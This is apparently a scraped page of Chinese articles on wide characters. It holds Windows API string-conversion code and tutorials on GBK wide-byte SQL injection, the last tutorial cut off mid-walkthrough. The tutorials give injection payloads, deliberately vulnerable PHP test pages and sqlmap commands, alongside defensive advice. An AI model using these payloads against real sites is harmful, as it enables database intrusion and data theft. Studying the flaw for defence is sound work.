精华内容
下载资源
问答
  • 网志 因为现有博客园的文章需要全部审核,导致广大人民群众无法查看文章。
  • 前者是从宽字节转换为多字节,后者则相反,是从多字节转换为宽字节。下面介绍下这两个函数: WideCharToMultiByte 该函数可以映射一个unicode字符串到一个多字节字符串,执行转换的代码页、接收转换字符串、允许...

    Windows API:

    这里需要用到两个函数:WideCharToMultiByte 与 MultiByteToWideChar

    前者是从宽字节转换为多字节,后者则相反,是从多字节转换为宽字节。下面介绍下这两个函数:

     

    WideCharToMultiByte

    该函数可以映射一个unicode字符串到一个多字节字符串,执行转换的代码页、接收转换字符串、允许额外的控制等操作。

    WideCharToMultiByte(
    _In_ UINT CodePage,   // 指定执行转换的代码页,这个参数可以为系统已安装或有效的任何代码页所给定的值
    _In_ DWORD dwFlags, // 一组位标记用以指出是否未转换成预作或宽字符(若组合形式存在),是否使用象形文字替代控制字符,以及如何处理无效字符
    _In_NLS_string_(cchWideChar) LPCWCH lpWideCharStr, // 指向将被转换的unicode字符串
    _In_ int cchWideChar, // 指定由参数lpWideCharStr指向的缓冲区的字符个数。如果这个值为-1,字符串将被设定为以NULL为结束符的字符串,并且自动计算长度
    _Out_writes_bytes_to_opt_(cbMultiByte, return) LPSTR lpMultiByteStr,// 指向接收被转换字符串的缓冲区   
    _In_ int cbMultiByte, // 指定由参数lpMultiByteStr指向的缓冲区最大值(用字节来计量)。若此值为零,函数返回lpMultiByteStr指向的目标缓冲区所必需的字节数,在这种情况下,lpMultiByteStr参数通常为NULL
    _In_opt_ LPCCH lpDefaultChar, // 遇到一个不能转换的宽字符,函数便会使用pDefaultChar参数指向的字符
    _Out_opt_ LPBOOL lpUsedDefaultChar // 至少有一个字符不能转换为其多字节形式,函数就会把这个变量设为TRUE
    );

    需要注意最后两个参数lpDefaultChar和pfUsedDefaultChar:只有当WideCharToMultiByte函数遇到一个宽字节字符,而该字符在uCodePage参数标识的代码页中并没有它的表示法时,WideCharToMultiByte函数才使用这两个参数。如果宽字节字符不能被转换,该函数便使用lpDefaultChar参数指向的字符。如果该参数是NULL(这是大多数情况下的参数值),那么该函数使用系统的默认字符。该默认字符通常是个问号。这对于文件名来说是危险的,因为问号是个通配符。pfUsedDefaultChar参数指向一个布尔变量,如果Unicode字符串中至少有一个字符不能转换成等价多字节字符,那么函数就将该变量置为TRUE。如果所有字符均被成功地转换,那么该函数就将该变量置为FALSE。当函数返回以便检查宽字节字符串是否被成功地转换后,可以测试该变量。

    返回值:如果函数运行成功,并且cchMultiByte不为零,返回值是由 lpMultiByteStr指向的缓冲区中写入的字节数;如果函数运行成功,并且cchMultiByte为零,返回值是接收到待转换字符串的缓冲区所必需的字节数。如果函数运行失败,返回值为零。

     

    MultiByteToWideChar

    该函数可以映射一个多字节字符串到一个unicode字符串

    MultiByteToWideChar(
        _In_ UINT CodePage,  // 指定执行转换的字符集,这个参数可以为系统已安装或有效的任何字符集所给定的值
        _In_ DWORD dwFlags,  // 一组位标记用以指出是否未转换成预作或宽字符(若组合形式存在),是否使用象形文字替代控制字符,以及如何处理无效字符。
        _In_NLS_string_(cbMultiByte) LPCCH lpMultiByteStr,  // 指向将被转换字符串的字符。
        _In_ int cbMultiByte,  // 指定将被转换的字符串中字节的个数。如果lpMultiByteStr指定的字符串以空字符终止,可以设置为-1(如果字符串不是以空字符中止,设置为-1可能失败,可能成功),此参数设置为0函数将失败。
        _Out_writes_to_opt_(cchWideChar, return) LPWSTR lpWideCharStr,  // 指向接收被转换字符串的缓冲区
        _In_ int cchWideChar  // 指定接收被转换字符串缓冲区的宽字符个数。若此值为零,函数返回缓冲区所必需的宽字符数,在这种情况下,lpWideCharStr中的缓冲区不被使用。
        );

    返回值:如果函数运行成功,并且cchWideChar不为零,返回值是由lpWideCharStr指向的缓冲区中写入的宽字符数;如果函数运行成功,并且cchWideChar为零,返回值是接收到待转换字符串的缓冲区所需求的宽字符数大小。如果函数运行失败,返回值为零。

     

    /************************************************************************/
    /* Project:    宽字节与多字节互相转换                                        */
    /* Author:    LandyTan                                                    */
    /* Time:    2017/11/04                                                    */
    /************************************************************************/
    
    
    #include <iostream>
    #include <Windows.h>
    using namespace std;
    
    
    char* _WTA(__in wchar_t* pszInBufBuf, __in int nInSize, __out char** pszOutBuf, __out int* pnOutSize);
    wchar_t* _ATW(__in char* pszInBuf, __in int nInSize, __out wchar_t** pszOutBuf, __out int* pnOutSize);
    
    
    int main()
    {
        {
            char* pszIn = "Hello";
            wchar_t* pszOut = NULL;
            int nOutSize = 0;
            if (!_ATW(pszIn, strlen(pszIn), &pszOut, &nOutSize))
                cerr << "多字节转宽字节失败" << endl;
            else cout << "多字节:" << pszIn << "\t宽字节:" << pszOut << endl;
            delete[] pszOut;
            pszOut = NULL;
        }
    
        {
            wchar_t* pszIn = L"Hello";
            char* pszOut = NULL;
            int nOutSize = 0;
            if (!_WTA(pszIn, wcslen(pszIn), &pszOut, &nOutSize))
                cerr << "宽字节转多字节失败" << endl;
            else cout << "宽字节:" << pszIn << "\t多字节:" << pszOut << endl;
            delete[] pszOut;
            pszOut = NULL;
        }
        
        system("pause");
        return 0;
    }
    
    
    /************************************************************************/
    /* Name:        _ATW                                                    */
    /* Function:    多字节转宽字节                                            */
    /* Parameter list:                                                        */
    /*                pszInBuf        被转换的字符串                            */
    /*                nInSize            字符串长度                                */
    /*                pszOutBuf        接收转换的字符串                            */
    /*                pnOutSize        接收字符串的长度                            */
    /************************************************************************/
    wchar_t* _ATW(__in char* pszInBuf, __in int nInSize, __out wchar_t** pszOutBuf, __out int* pnOutSize)
    {
        if(!pszInBuf || !pszOutBuf || !pnOutSize || nInSize <= 0)return NULL;
        *pnOutSize = MultiByteToWideChar(NULL, NULL, pszInBuf, nInSize, *pszOutBuf, 0);// 获取待转换字符串的缓冲区所需大小
        if(*pnOutSize == 0)return NULL;
        (*pnOutSize)++;
        *pszOutBuf = new wchar_t[*pnOutSize];
        memset((void*)*pszOutBuf, 0, sizeof(wchar_t) * (*pnOutSize));
        if(MultiByteToWideChar(NULL, NULL, pszInBuf, nInSize, *pszOutBuf, *pnOutSize) == 0)  // 这里才是转换
            return NULL;
        else return *pszOutBuf;
    }
    
    
    /************************************************************************/
    /* Name:        _WTA                                                    */
    /* Function:    宽字节转多字节                                            */
    /* Parameter list:                                                        */
    /*                pszInBuf        被转换的字符串                            */
    /*                nInSize            字符串长度                                */
    /*                pszOutBuf        接收转换的字符串                            */
    /*                pnOutSize        接收字符串的长度                            */
    /************************************************************************/
    char* _WTA(__in wchar_t* pszInBuf, __in int nInSize, __out char** pszOutBuf, __out int* pnOutSize)
    {
        if(!pszInBuf || !pszOutBuf || !pnOutSize || nInSize <= 0)return NULL;
        *pnOutSize = WideCharToMultiByte(NULL, NULL, pszInBuf, nInSize, *pszOutBuf, 0, NULL, NULL);// 获取待转换字符串的缓冲区所需大小
        if(*pnOutSize == 0)return NULL;
        (*pnOutSize)++;
        *pszOutBuf = new char[*pnOutSize];
        memset((void*)*pszOutBuf, 0, sizeof(char)* (*pnOutSize));
        if (WideCharToMultiByte(NULL, NULL, pszInBuf, nInSize, *pszOutBuf, *pnOutSize, NULL, NULL) == 0) // 这里才是转换
            return NULL;
        else return *pszOutBuf;
    }

     C++ 11:

    这里需要用到string、wstring、wstring_convert和codecvt_utf8.

    string:多字节类型的数组。

    wstring:宽字节类型的数组。

    wstring_convert:转换类,其是一个模板类。

    codecvt_utf8:编码模板类。

    具体代码如下

    	[] {
    		std::wstring szW{ L"Hello world." };
    		std::string szA;
    		std::wstring_convert<std::codecvt_utf8<wchar_t>> cv; // 声明一个用于转换的变量cv。所有的转换都经过此变量。
    		szA = cv.to_bytes(szW);// 宽字节转多字节
    		std::wstring szW1 = cv.from_bytes(szA);// 多字节转宽字节
    	}();
    

      

    转载于:https://www.cnblogs.com/LandyTan/p/7783563.html

    展开全文
  • 宽字节的深入了解

    千次阅读 2020-05-07 11:22:44
    在了解宽字节注入之前,我们先来看一看字符集是什么。字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。 几种常见的字符集: ASCII编码:单字节编码 latin1编码:单字节编码 gbk编码:使用一字节和双...

    01 背景知识

    字符集

    在了解宽字节注入之前,我们先来看一看字符集是什么。字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。
    几种常见的字符集:

    • ASCII编码:单字节编码
    • latin1编码:单字节编码
    • gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
    • UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。

    宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。

    通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出

    echo strlen("和");

    来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。 除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

    02 概述

    首先我们了解下宽字节注入,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

    数据提交到MySQL数据库,需要进行字符集的转换,使得MySQL数据库可以对数据进行处理,这一过程一般有以下三个步骤:

    1. 收到请求,将请求数据从 character_set_client ->character_set_connection
    2. 内部操作,将数据从character_set_connection-> 表创建的字符集
    3. 结果输出,将数据从表创建的字符集 -> character_set_results

    当执行set names "charset",相当于执行
    set character_set_client = charset
    set character_set_connection = charset
    set character_set_results = charset

    client 指的是PHP程序
    connection 指的是PHP客户端与MySQL服务器之间连接层
    results 指的是MySQL服务器返回给PHP客户端的结果

    MySQL常见的乱码问题就是这三个字符集的设置不当所引起的。

    宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:

    • (1) character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。
    • (2) character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。
    • (3) character_set_database:数据库缺省编码字符集。
    • (4) character_set_filesystem:文件系统编码字符集。
    • (5) character_set_results:SQL语句执行结果编码字符集。
    • (6) character_set_server:服务器缺省编码字符集。
    • (7) character_set_system:系统缺省编码字符集。
    • (8) character_sets_dir:字符集存放目录,一般不要修改。

    宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。

    例如说PHP的编码为 UTF-8 而 MySql的编码设置为了
    SET NAMES 'gbk' 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。


    03 addslashesmysql_real_escape_string的区别

    
     (1)          ASCII(NULL)字符\x00,
    
     (2)          换行字符\n,addslashes不转义
    
     (3)          回车字符\r,addslashes不转义
    
     (4)          反斜杠字符\,
    
     (5)          单引号字符‘,
    
     (6)          双引号字符“,
    
     (7)          \x1a,addslashes不转义

    1.AddSlashes()

    首先来观察一下是如何通过构造吃掉转义字符的

    先将less 34的网页编码换成gbk

    加上一些输出

    echo "Before addslashes(): " . $uname1 . "<br/>";
            $uname = addslashes($uname1);
            $passwd= addslashes($passwd1);
            echo "After addslashes(): " . $uname . "<br/>";
            
            //echo "username after addslashes is :".$uname ."<br>";
            //echo "Input password after addslashes is : ".$passwd;    
    
        // connectivity 
        mysql_query("SET NAMES gbk");
        @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
        echo "SQL Statement: " . $sql . "<br/>";

    POST提交

    uname=%df' or 1#&passwd=1

    %df即ASCII码十六进制为df的字符  ß

    (注:%df为URL编码,URL编码即是255个ASCII字符的十六进制数值加上一个前置的%,可参考:http://www.w3school.com.cn/tags/html_ref_urlencode.html)

     POST提交

    uname=ß' or 1#&passwd=1

    可以的到和提交%df一样的效果

    现在来观察一下页面的输出

    Before addslashes(): �' or 1#
    After addslashes(): 運' or 1#

    (注意在网页编码为UTF-8的时候  運 字是无法被显示的)

    After addslashes(): �\' or 1#

    addslashes()函数只是对单引号进行了转义处理,df字符没有做任何处理,在网页编码为GBK时,df 和 \ 字符合并成了一个gbk字符  運 

    在注入操作的时候,合并的过程是在MYSQL执行查询操作的时候

    SELECT username, password FROM users WHERE username='�\' or 1#' and password='1' LIMIT 0,1#注意此时输入的引号并没有引发闭合
    mysql_query("SET NAMES gbk");#由于客户端指定了编码gbk
    SELECT username, password FROM users WHERE username='運' or 1#' and password='1' LIMIT 0,1#查询语句由utf-8转向gbk编码,df 和 5c (即\)合并成为了一个gbk字符

    理解了这个过程,再来看看GBK编码,编码的范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,字符 \ 的ASCII码为5C,在其低位范围内,就可能被吃掉,并且能吃掉它的字符不仅只有0xdf

    取一个实验一下(参考: http://www.bo56.com/gbk汉字内码扩展规范编码表)

    比如 乗 字符,GBK编码 815C

    那么构造

    uname=%81' or 1#&passwd=1

    另外,GB2312编码范围是A1A1-FEFE,其中汉字编码范围:B0A1-F7FE,即高位A1~FE,低位A1~FE,字符 \ 的ASCII码为5C,不在其低位范围内,自然不会被吃掉。

     2.mysql_real_escape_string()

    Less 36和Less 34用一样的payload注入,因此看不出来addslashes()和mysql_real_escape_string()的区别

     参考:http://www.laruence.com/2010/04/12/1396.html

    解释一下这个输出,

    addslashes函数读取每个字节,915c按照两个字节读取,发现5c后进行转义: 915c --> 915c5c

    控制台为gbk编码所以显示 慭\

    第二个第三个输出都是一个原理

    对于mysql_real_escape_string()函数,需要注意在使用mysql_set_charset("gbk")后,没有进行转义操作(注意看上面的代码),

    也就是说mysql_real_escape_string()函数正确读取了gbk字符(而不是两个ASCII字符,需要注意UTF-8对于ASCII字符的编码是和ASCII码相同的),

    前面三种都属于一种 “误转义” ,因此,对于宽字节注入,可以使用第四种方式避免

    来实验一下

    参考:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

    <!DOCTYPE html>
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
        <title>mysql_real_escape_string</title>
    </head>
    <body>
    <?php
        $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
        //mysql_query("SET NAMES 'gbk'"); //mysql_set_charset包含了这个操作
        mysql_select_db("security", $conn);
        mysql_set_charset("gbk", $conn);
        $id = isset($_GET["id"]) ? mysql_real_escape_string($_GET["id"]) :1;
        $sql = "SELECT * FROM users WHERE id='{$id}'";
        echo $sql. "<br/>";
        $result = mysql_query($sql, $conn) or die(mysql_error());
        $row = mysql_fetch_array($result, MYSQL_ASSOC);
        echo "<h2>{$row['username']}</h2>";
        mysql_free_result($result);
    ?>
    </body>
    </html>

    【1】正常提交

    http://localhost/1.php?id=1

    【2】单引号提交(正确转义)

    【3】尝试注入宽字节

    如果引号闭合成功,union select 会返回结果,页面会有输出

    http://localhost/1.php?id=0%df' union select 1,2,3%23

    并没有得到输出(因为mysql_set_charset("gbk", $conn);先进行了编码

    先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入。

    上文中代码使用了mysql_set_charset(“gbk”)来设置编码,他会修改mysql对象中的mysql->charset属性为设置的字符集。
    同时配套的过滤函数为mysql_real_escape_string()mysql_real_escape_string()会根据mysql对象中的mysql->charset属性来对待传入的字符串,因此可以根据当前字符集来进行过滤。

    来使用sqlmap测试一下

    python sqlmap.py -u http://localhost/mysql_real_escape_string.php?id=1 --tamper unmagicquotes.py --dbms mysql

    3.character_set_client=binary 和 iconv()

    参考此处:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#005-iconv

    使用character_set_client=binary来避免宽字节注入,但误用iconv()函数导致的注入问题,可能发生在搜索框中

    先看一下测试代码

    <!DOCTYPE html>
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>iconv_utf2gbk</title>
    </head>
    <body>
    <?php
    
        function strToHex($string)
        {
            $hex='';
            for ($i=0; $i < strlen($string); $i++)
            {
                $hex .= dechex(ord($string[$i]));
            }
            return $hex;
        }
    
        $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
        mysql_query("SET NAMES 'gbk'");
        mysql_select_db("security", $conn);
        mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
        
        echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
        $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
        echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
    
        //  iconv(string $in_charset , string $out_charset , string $str )
        @$id = iconv('utf-8', 'gbk', $id);
        echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
    
        $sql = "SELECT * FROM users WHERE id='{$id}'";
        echo $sql. "<br/>";
        $result = mysql_query($sql, $conn) or die(mysql_error());
        $row = mysql_fetch_array($result, MYSQL_ASSOC);
        echo "<h2>{$row['username']}</h2>";
        mysql_free_result($result);
    ?>
    </body>
    </html>

    一些正常的请求

    (注意语句执行是成功的,只是没有查询结果而已)

    一个可能造成注入的请求

    http://localhost/iconv_utf82gbk.php?id=錦

    出现了MySQL的报错,注意SQL语句,\' 是 ' 的转义,用来闭合的单引号被转义了,SQL语句没有闭合,所以出现错误

    来看一下产生的原因,錦 的UTF8编码为e98ca6(三个字节),GBK编码为e55c,character_set_client=binary使得 ' 被 5c 转义,语句没有闭合

    同样,GBK编码低位为5c的都可以造成这个错误,運 GBK编码 df5c

    那么利用这个5c,就可以造成注入了,

    构造这个请求

    http://localhost/iconv_utf82gbk.php?id=運'%23

    没有了错误,addslashes()函数转义了' 转义的\ 和5c 形成了一个新的转义(\的转义为\\),我们输入的 ' 成功闭合了语句,原来用来闭合的 ' 被 # 注释

    http://localhost/iconv_utf82gbk.php?id=運' union select 1,database(),3%23

    转换:(UTF-8: e9%81%8b 转GBK为 %df%5c
    %e9%81%8b%27====>(addslashes)====>%e9%81%8b%5c%27====(iconv)====>%df%5c%5c%27
    可以看到,多出了一个%5c,将转义符(反斜杠)本身转义,使得后面的%27单引号发挥了作用  (注:反斜杠的优先级高,所以%df%5c%5c优先变为%df\\

    sqlmap并不能发现这个注入点

    >python sqlmap.py -u http://localhost/iconv_utf82gbk.php?id=1 -tamper unmagicquotes.py --dbms mysql

     同样的,gbk转向utf-8时也会出现类似的漏洞

    测试代码如下

    <!DOCTYPE html>
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>iconv_gbk2utf</title>
    </head>
    <body>
    <?php
    
        function strToHex($string)
        {
            $hex='';
            for ($i=0; $i < strlen($string); $i++)
            {
                $hex .= dechex(ord($string[$i]));
            }
            return $hex;
        }
    
        $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
        mysql_query("SET NAMES 'gbk'");
        mysql_select_db("security", $conn);
        mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
        
        echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
        $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
        echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
    
        //  iconv(string $in_charset , string $out_charset , string $str )
        @$id = iconv('gbk', 'utf-8', $id);
        echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
    
        $sql = "SELECT * FROM users WHERE id='{$id}'";
        echo $sql. "<br/>";
        $result = mysql_query($sql, $conn) or die(mysql_error());
        $row = mysql_fetch_array($result, MYSQL_ASSOC);
        echo "<h2>{$row['username']}</h2>";
        mysql_free_result($result);
    ?>
    </body>
    </html>

    构造请求

    http://localhost/iconv_gbk2utf8.php?id=1%e5%27%23

    变回了一个普通的宽字节注入,e55c(GBK) 通过iconv函数转向了 e98ca6(UTF-8)

    转义的 \ 在编码转换中消失了

    http://localhost/iconv_gbk2utf8.php?id=0%e5' union select 1,database(),3%23

    4.总结一下

    1.宽字节注入跟HTML页面编码无关。

    2 Mysql编码与过滤函数推荐使用mysql_real_escape_string()mysql_set_charset()

     

    3 addslashes()函数和mysql_real_escape_string()函数并不等价,addslashes()函数无法抵御宽字节注入,配置正确的mysql_real_escape_string()函数可以抵御宽字节注入,但对于整型注入,这两个函数都无能为力。

    错误的使用iconv()函数可能使得转义字符被吃掉,造成注入点。

    附一个255位的ASCII码表

    Bin           Dec         Hex           缩写/字符                                       解释
    0000     0          00             NUL (null)                                      空字符    
    0001     1          01             SOH (start of handing)                          标题开始  
    0010     2          02             STX (start of text)                             正文开始  
    0011     3          03             ETX (end of text)                               正文结束 
    0100     4          04             EOT (end of transmission)                       传输结束  
    0101     5          05             ENQ (enquiry)                                   请求  
    0110     6          06             ACK (acknowledge)                               收到通知  
    0111     7          07             BEL (bell)                                      响铃 
    1000     8          08             BS (backspace)                                  退格  
    1001     9          09             HT (horizontal tab)                             水平制表符  
    1010     10         0A             LF (NL line feed, new line)                     换行键  
    1011     11         0B             VT (vertical tab)                               垂直制表符  
    1100     12         0C             FF (NP form feed, new page)                     换页键  
    1101     13         0D             CR (carriage return)                            回车键 
    1110     14         0E             SO (shift out)                                  不用切换  
    1111     15         0F             SI (shift in)                                   启用切换  
    0000     16         10             DLE (data link escape)                          数据链路转义  
    0001     17         11             DC1 (device control 1)                          设备控制1  
    0010     18         12             DC2 (device control 2)                          设备控制2  
    0011     19         13             DC3 (device control 3)                          设备控制3  
    0100     20         14             DC4 (device control 4)                          设备控制4  
    0101     21         15             NAK (negative acknowledge)                      拒绝接收  
    0110     22         16             SYN (synchronous idle)                          同步空闲  
    0111     23         17             ETB (end of trans. block)                       传输块结束  
    1000     24         18             CAN (cancel)                                    取消 
    1001     25         19             EM (end of medium)                              介质中断  
    1010     26         1A             SUB (substitute)                                替补  
    1011     27         1B             ESC (escape)                                    溢出  
    1100     28         1C             FS (file separator)                             文件分割符  
    1101     29         1D             GS (group separator)                            分组符  
    1110     30         1E             RS (record separator)                           记录分离符  
    1111     31         1F             US (unit separator)                             单元分隔符 
    0000     32         20                                                             空格 
    0001     33         21             !
    0010     34         22             " 
    0011     35         23             # 
    0100     36         24             $ 
    0101     37         25             % 
    0110     38         26             &
    0111     39         27             ' 
    1000     40         28             ( 
    1001     41         29             ) 
    1010     42         2A             * 
    1011     43         2B             + 
    1100     44         2C             , 
    1101     45         2D             - 
    1110     46         2E             . 
    1111     47         2F             / 
    0000     48         30             0 
    0001     49         31             1 
    0010     50         32             2 
    0011     51         33             3 
    0100     52         34             4 
    0101     53         35             5 
    0110     54         36             6 
    0111     55         37             7 
    1000     56         38             8 
    1001     57         39             9 
    1010     58         3A             : 
    1011     59         3B             ; 
    1100     60         3C             <
    1101     61         3D             = 
    1110     62         3E             > 
    1111     63         3F             ? 
    0000     64         40             @
    0001     65         41             A 
    0010     66         42             B 
    0011     67         43             C 
    0100     68         44             D 
    0101     69         45             E 
    0110     70         46             F 
    0111     71         47             G 
    1000     72         48             H 
    1001     73         49             I 
    1010     74         4A             J 
    1011     75         4B             K 
    1100     76         4C             L 
    1101     77         4D             M 
    1110     78         4E             N 
    1111     79         4F             O 
    0000     80         50             P 
    0001     81         51             Q 
    0010     82         52             R 
    0011     83         53             S 
    0100     84         54             T 
    0101     85         55             U 
    0110     86         56             V 
    0111     87         57             W 
    1000     88         58             X 
    1001     89         59             Y 
    1010     90         5A             Z 
    1011     91         5B             [ 
    1100     92         5C             / 
    1101     93         5D             ] 
    1110     94         5E             ^ 
    1111     95         5F             _ 
    0000     96         60             `
    0001     97         61             a 
    0010     98         62             b 
    0011     99         63             c 
    0100     100        64             d 
    0101     101        65             e 
    0110     102        66             f 
    0111     103        67             g 
    1000     104        68             h 
    1001     105        69             i 
    1010     106        6A             j 
    1011     107        6B             k 
    1100     108        6C             l 
    1101     109        6D             m 
    1110     110        6E             n 
    1111     111        6F             o 
    0000     112        70             p 
    0001     113        71             q 
    0010     114        72             r 
    0011     115        73             s 
    0100     116        74             t 
    0101     117        75             u 
    0110     118        76             v 
    0111     119        77             w 
    1000     120        78             x 
    1001     121        79             y 
    1010     122        7A             z 
    1011     123        7B             { 
    1100     124        7C             | 
    1101     125        7D             } 
    1110     126        7E             ~ 
    1111     127        7F             DEL (delete)                                        删除  
    
    Extended ASCII
           80             ?
           81             �
           82             ‚
           83             ƒ
           84             „
           85             …
           86             †
           87             ‡
           88             ˆ
           89             ‰
           8A             Š 
           8B             ‹
           8C             Œ
           8D             �
           8E             Ž 
           8F             �
           90             �
           91             ' 
           92             ' 
           93             " 
           94             " 
           95             o 
           96             - 
           97             -
           98             ˜
           99             ™
           9A             š 
           9B             ›
           9C             œ
           9D             �
           9E             ž 
           9F             Ÿ
           A0               
           A1             ¡ 
           A2             ¢
           A3             £
           A4             ¤ 
           A5             ¥ 
           A6             ¦ 
           A7             §
           A8             ¨ 
           A9             ©
           AA             ª 
           AB             « 
           AC             
           AD             
           AE             ® 
           AF             ¯ 
           B0             ° 
           B1             ± 
           B2             ² 
           B3             ³ 
           B4             ´ 
           B5             µ 
           B6             
           B7             · 
           B8              
           B9             ¹ 
           BA             º 
           BB             » 
           BC             ¼ 
           BD             ½ 
           BE             ¾ 
           BF             ¿ 
           C0             À 
           C1             Á 
           C2             Â 
           C3             Ã 
           C4             Ä 
           C5             Å 
           C6             Æ 
           C7             Ç 
           C8             È 
           C9             É 
           CA             Ê 
           CB             Ë 
           CC             Ì 
           CD             Í 
           CE             Î 
           CF             Ï 
           D0             Ð 
           D1             Ñ 
           D2             Ò 
           D3             Ó 
           D4             Ô 
           D5             Õ 
           D6             Ö 
           D7             × 
           D8             Ø 
           D9             Ù 
           DA             Ú 
           DB             Û 
           DC             Ü 
           DD             Ý 
           DE             Þ 
           DF             ß
           E0             à
           E1             á
           E2             â
           E3             ã
           E4             ä
           E5             å
           E6             æ
           E7             ç
           E8             è
           E9             é
           EA             ê
           EB             ë
           EC             ì
           ED             í
           EE             î
           EF             ï
           F0             ð
           F1             ñ
           F2             ò
           F3             ó
           F4             ô
           F5             õ
           F6             ö
           F7             ÷
           F8             ø
           F9             ù
           FA             ú  
           FB             û
           FC             ü
           FD             ý
           FE             þ 
           FF             ÿ

    以wiki上的图为准

    本文参考:

    【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    SQL注入防御绕过——宽字节注入

    PHP宽字节注入

    魔术引号、addslashes和mysql_real_escape_string的防御以及绕过

     

     

     

     

    展开全文
  • 简单讲述了 双字节 多字节 宽字节 Unicode之间的关系及转换
  • 宽字节注入原理分析

    2020-05-29 16:56:44
    什么是宽字节? 如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节。 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节 英文默认占一...

    什么是宽字节?

    如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

    • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
    • 英文默认占一个字节,中文占两个字节

    什么是宽字节注入?

    原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

    宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

    GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

    常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

    Mysql相关知识

    Mysql中有个连接层,何为连接层?
    在MYSQL中,有一个中间层的结构,负责客户端和服务器之间的连接,称为连接层
    交互的过程如下:
    (1)客户端(这里指php)以某种字符集生成的SQL语句发送至服务器端(这里指Mysql),这个“某种字符集”其实是任意规定的,PHP作为客户端连接MYSQL时,这个字符集就是PHP文件默认的编码。
    (2)服务器(Mysql)会将这个SQL语句转为连接层的字符集。问题在于MYSQL是怎么知道我们传过来的这个SQL语句是什么编码呢?这时主要依靠两个MYSQL的内部变量来表示,一个是character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)。
    (3)总的来说,就是php把sql语句传给mysql时,要转换character_set_connection字符集的编码,执行流程就是:将php的sql语句以character_set_client编码(也就是转为16进制数),再将16进制数以character_set_connection进行编码(也就是转换为url编码),然后以内部操作字符集进行url解码,最后以character_set_results编码输出结果
    内部操作字符集怎么确定?进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
    • 使用每个数据字段的CHARACTER SET设定值;
    • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
    • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
    • 若上述值不存在,则使用character_set_server设定值。

    可以理解的同时参考下面这幅图片
    在这里插入图片描述
    注:

    • 查看Mysql字符集
      show variables like '%char%';
      在这里插入图片描述
    • 修改字符集
      set names 'gbk';相当于下面的三句命令
      mysql> set character_set_client = gbk;
      mysql> set character_set_results = gbk;
      mysql> set character_set_connection = gbk;

    实例

    以sqli-labs的第32关为例
    (1)输入’,被\转义
    在这里插入图片描述
    (2)输入%df
    在这里插入图片描述
    (3)分析执行过程

    ① id=%df%27,浏览器执行时会自动url解码一次,断点你就会发现
